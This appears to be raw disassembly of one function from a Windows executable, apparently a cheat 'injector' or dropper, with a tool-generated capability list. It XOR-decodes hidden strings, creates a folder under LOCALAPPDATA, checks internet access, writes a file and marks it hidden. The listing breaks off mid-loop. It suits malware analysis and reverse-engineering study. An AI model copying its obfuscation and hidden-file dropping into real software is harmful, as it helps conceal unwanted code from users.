Function at 0x140019550
Capabilities:
Check if file exists
Check internet connectivity via wininet
Create directory
Create process on windows
Delete file
Encode data using xor
Get file attributes
Set file attributes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x4d8]
sub rsp, 0x5b0
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
mov rax, qword [0x140040040]
xor rax, rsp
mov qword [rbp + 0x480], rax
xor r12d, r12d
movups xmm0, xmmword [str.ZG_EE_r]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x140035bd0]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x140035be0]
movups xmmword [rbp + 0xe0], xmm0
movups xmm1, xmmword [0x140035bf0]
movups xmmword [rbp + 0xf0], xmm1
movups xmm0, xmmword [0x140035c00]
movups xmmword [rbp + 0x100], xmm0
movzx eax, byte [0x140035c10]
mov byte [rbp + 0x110], al
mov r8d, r12d
mov r15d, dword [0x140040098]
cmp r15d, 2
jl 0x140019735
movdqa xmm5, xmmword [0x140036070]
movdqa xmm4, xmmword [0x1400360d0]
movdqa xmm6, xmmword [0x140036090]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0xc0]
mov edx, dword [rbp + 0x40]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x50
jl 0x140019630
cmp r8d, 0x51
jge 0x140019780
movsxd rax, r8d
lea r9, [rbp + 0xc0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x51
jl 0x140019750
mov eax, dword [0x14003520c]
mov dword [rbp - 8], eax
movzx eax, word [0x140035210]
mov word [rbp - 4], ax
movzx eax, byte [0x140035212]
mov byte [rbp - 8], gethostbyname
xor byte [rbp - 7], 0x33
xor byte [rbp - 6], 0x34
xor byte [rbp - 5], 0x35
xor byte [rbp - 4], 0x36
xor byte [rbp - 3], 0x37
xor al, 0x38
mov byte [rbp - 2], al
movups xmm0, xmmword [str.eVQQRV_f]
movups xmmword [rbp + 0x20], xmm0
movzx eax, word [0x140035bb8]
mov word [rbp + 0x30], ax
movzx eax, byte [0x140035bba]
mov byte [rbp + 0x32], al
mov r8d, r12d
cmp r15d, 2
jl 0x140019916
movdqa xmm5, xmmword [0x140036070]
movdqa xmm4, xmmword [0x1400360d0]
movdqa xmm6, xmmword [0x140036090]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0x20]
mov edx, dword [rbp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140019811
cmp r8d, 0x13
jge 0x140019950
movsxd rax, r8d
lea r9, [rbp + 0x20]
add r9, rax
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x140019920
lea r8, str.LOCALAPPDATA
lea rdx, [rbp + 0x240]
lea rcx, [rbp - 0x10]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll__dupenv_s]
mov rdx, qword [rbp - 0x10]
test rdx, rdx
je 0x14001c252
xorps xmm0, xmm0
movups xmmword [rbp + 0x200], xmm0
mov qword [rbp + 0x210], r12
mov qword [rbp + 0x218], r12
mov rsi, 0xffffffffffffffff
mov r8, rsi
inc r8
cmp byte [rdx + r8], r12b
jne 0x140019997
lea rcx, [rbp + 0x200]
call fcn.1400040c0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], r12
lea rax, [rbp + 0x20]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x1400199c3
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x60]
call fcn.1400040c0
nop
lea rdx, [rbp + 0x200]
lea rcx, [rbp + 0xa0]
call fcn.140028110
nop
lea r9, [rbp + 0x60]
mov r8, rax
lea rcx, [rbp + 0x120]
call fcn.14002af80
nop
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x140019a47
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019a42
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019a42
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rbp + 0xb0], r12
mov qword [rbp + 0xb8], 0xf
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140019a9e
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019a99
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019a99
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rcx, qword [rbp + 0x120]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140019ae7
lea rcx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rcx, qword [rbp + 0x120]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x140019c8f
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], r12
lea rax, [rbp - 8]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140019b00
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x60]
call fcn.1400040c0
nop
lea rdx, [rbp + 0x120]
lea rcx, [rsp + 0x58]
call fcn.140028110
nop
lea r9, [rbp + 0x60]
mov r8, rax
lea rcx, [rbp + 0x80]
call fcn.14002af80
nop
mov rdx, qword [rsp + 0x70]
cmp rdx, 0xf
jbe 0x140019b7e
inc rdx
mov rcx, qword [rsp + 0x58]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019b79
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019b79
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], 0xf
mov byte [rsp + 0x58], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140019bcf
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019bca
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019bca
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rcx, qword [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x140019d31
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rcx, qword [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x140019d31
lea r9d, [rax + 0x10]
lea r8, str.Erreur
lea rdx, str.Failed_close_injector_and_try_again
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
nop
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x140019c76
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019c71
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c18a
call fcn.14002dd70
mov qword [rbp + 0x90], r12
mov qword [rbp + 0x98], 0xf
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x140019cd0
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019ccb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c1e7
call fcn.14002dd70
mov qword [rbp + 0x130], r12
mov qword [rbp + 0x138], 0xf
mov byte [rbp + 0x120], 0
mov rdx, qword [rbp + 0x218]
cmp rdx, 0xf
jbe 0x140019d2a
inc rdx
mov rcx, qword [rbp + 0x200]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019d25
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001c244
call fcn.14002dd70
mov al, 1
jmp 0x14001c26e
xor edx, edx
lea rcx, [rbp - 8]
call qword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
je 0x14001c135
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, str.http:__www.google.com
call qword [sym.imp.WININET.dll_InternetCheckConnectionW]
test eax, eax
je 0x14001c135
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rdx, qword [rbp + 0x80]
lea rcx, [rbp + 0xc0]
call fcn.140009360
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rcx, qword [rbp + 0x80]
mov edx, 2
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0x248]
call fcn.1400067d0
nop
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0xf
cmova rdx, qword [rbp + 0x80]
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], r12
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140019de0
lea rcx, [rbp + 0x60]
call fcn.1400040c0
nop
lea rdx, [rbp + 0x248]
lea rcx, [rbp + 0x60]
call fcn.140019270
mov ebx, eax
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x140019e44
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140019e3f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140019e3f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
movsd xmm0, qword [str.8cr]
movsd qword [rbp + 0x40], xmm0
mov eax, dword [0x140035aa0]
mov dword [rbp + 0x48], eax
movzx eax, byte [0x140035aa4]
mov byte [rbp + 0x4c], al
movups xmm0, xmmword [0x140035a00]
movups xmmword [rbp + 0x20], xmm0
movzx eax, byte [0x140035a10]
mov byte [rbp + 0x30], al
movups xmm0, xmmword [str.8pU_XXL]
movups xmmword [rbp + 0xc0], xmm0
movups xmm1, xmmword [0x140035938]
movups xmmword [rbp + 0xd0], xmm1
movups xmm0, xmmword [0x140035948]
movups xmmword [rbp + 0xe0], xmm0
movzx eax, byte [0x140035958]
mov byte [rbp + 0xf0], al
test ebx, ebx
je 0x14001b14f
sub ebx, 1
je 0x14001a1f0
cmp ebx, 1
jne 0x14001c0ef
mov r8d, r12d
cmp r15d, 2
jl 0x14001a015
movdqa xmm5, xmmword [0x140036070]
movdqa xmm4, xmmword [0x1400360d0]
movdqa xmm6, xmmword [0x140036090]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0xc0]
mov edx, dword [rbp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x140019f10
cmp r8d, 0x31
jge 0x14001a060
movsxd rax, r8d
lea r9, [rbp + 0xc0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x14001a030
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
lea rax, [rbp + 0xc0]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001a080
lea rdx, [rbp + 0xc0]
lea rcx, [rbp]
call fcn.1400040c0
nop
mov edi, dword [rbp + 0x10]
lea r8, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova r8, qword [rbp]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.14002e0cc
mov r14, rax
lea r8, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova r8, qword [rbp]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
inc rsi
cmp word [r14 + rsi*2], 0
jne 0x14001a112
mov r8, rsi
mov rdx, r14
lea rcx, [rbp + 0x20]
call fcn.14002a0b0
mov rcx, r14
call fcn.14002dd70
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 7
cmova rdx, qword [rbp + 0x20]
mov r9d, 0x10
lea r8, [0x140033518]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rdx, qword [rbp + 0x38]
cmp rdx, 7
jbe 0x14001a19a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a195
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a195
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], 7
mov word [rbp + 0x20], r12w
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14001c0ef
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001c0e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001c0e9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov r8d, r12d
cmp r15d, 2
jl 0x14001a2fc
movdqa xmm4, xmmword [0x1400360d0]
movdqa xmm2, xmmword [0x140036070]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140036090]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.8cr]
xorps xmm2, xmm0
movd dword [rbp + 0x40], xmm2
movdqa xmm3, xmmword [0x140036080]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140036090]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x44]
xorps xmm2, xmm1
movd dword [rbp + 0x44], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x40]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14001a310
xorps xmm0, xmm0
movups xmmword [rbp], xmm0
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], r12
lea rax, [rbp + 0x40]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14001a356
lea rdx, [rbp + 0x40]
lea rcx, [rbp]
call fcn.1400040c0
nop
mov edi, dword [rbp + 0x10]
lea r8, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova r8, qword [rbp]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
movsxd rbx, eax
mov eax, 2
mul rbx
cmovo rax, rsi
mov rcx, rax
call fcn.14002e0cc
mov r14, rax
lea r8, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova r8, qword [rbp]
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
lea r9d, [rdi + 1]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], r12
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp word [r14 + r8*2], 0
jne 0x14001a3f0
mov rdx, r14
lea rcx, [rsp + 0x38]
call fcn.14002a0b0
mov rcx, r14
call fcn.14002dd70
lea rdx, [rsp + 0x38]
cmp qword [rsp + 0x50], 7
cmova rdx, qword [rsp + 0x38]
mov r9d, 0x40
lea r8, [0x140033518]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
mov rdx, qword [rsp + 0x50]
cmp rdx, 7
jbe 0x14001a47b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a476
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a476
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x50], 7
mov word [rsp + 0x38], r12w
mov rdx, qword [rbp + 0x18]
cmp rdx, 0xf
jbe 0x14001a4cd
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14001a4c8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14001a4c8
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14002dd70
movups xmm0, xmmword [0x1400356f0]
movups xmmword [rbp + 0x180], xmm0
movups xmm0, xmmword [0x140035710]
movups xmmword [rbp + 0x1a0], xmm0
movups xmm0, xmmword [0x140035730]
movups xmmword [rbp + 0x1c0], xmm0
movups xmm0, xmmword [0x140035750]
movups xmm1, xmmword [0x140035700]
movups xmmword [rbp + 0x1e0], xmm0
movups xmmword [rbp + 0x190], xmm1
movsd xmm0, qword [0x140035760]
movups xmm1, xmmword [0x140035720]
movsd qword [rbp + 0x1f0], xmm0
movups xmmword [rbp + 0x1b0], xmm1
movups xmm0, xmmword [0x140034dd0]
movups xmm1, xmmword [0x140035740]
movups xmmword [rbp + 0xc0], xmm0
movups xmmword [rbp + 0x1d0], xmm1
movzx eax, word [0x140035768]
movups xmm0, xmmword [0x140034df0]
movups xmm1, xmmword [0x140034de0]
mov word [rbp + 0x1f8], ax
movups xmmword [rbp + 0xe0], xmm0
movups xmmword [rbp + 0xd0], xmm1
movzx eax, word [0x140034e18]
movsd xmm0, qword [0x140034e10]
movups xmm1, xmmword [0x140034e00]
mov word [rbp + 0x108], ax
movsd qword [rbp + 0x100], xmm0
movups xmmword [rbp + 0xf0], xmm1
mov r8d, r12d
cmp r15d, 2
jl 0x14001a6e5
movdqa xmm5, xmmword [0x140036070]
movdqa xmm4, xmmword [0x1400360d0]
movdqa xmm6, xmmword [0x140036090]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0x180]
mov edx, dword [rbp + 0x40]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400360b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x78
jl 0x14001a5e0
cmp r8d, 0x7a
jge 0x14001a730
movsxd rax, r8d
lea r9, [rbp + 0x180]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x7a
jl 0x14001a700
mov r8d, r12d
cmp r15d, 2
jl 0x14001a875
movdqa xmm5, xmmword [0x140036070]
movdqa xmm4, xmmword [0x1400360d0]
movdqa xmm6, xmmword [0x140036090]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rbp + 0x40], xmm0
lea rcx, [rbp + 0xc0]
mov edx, dword [rbp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
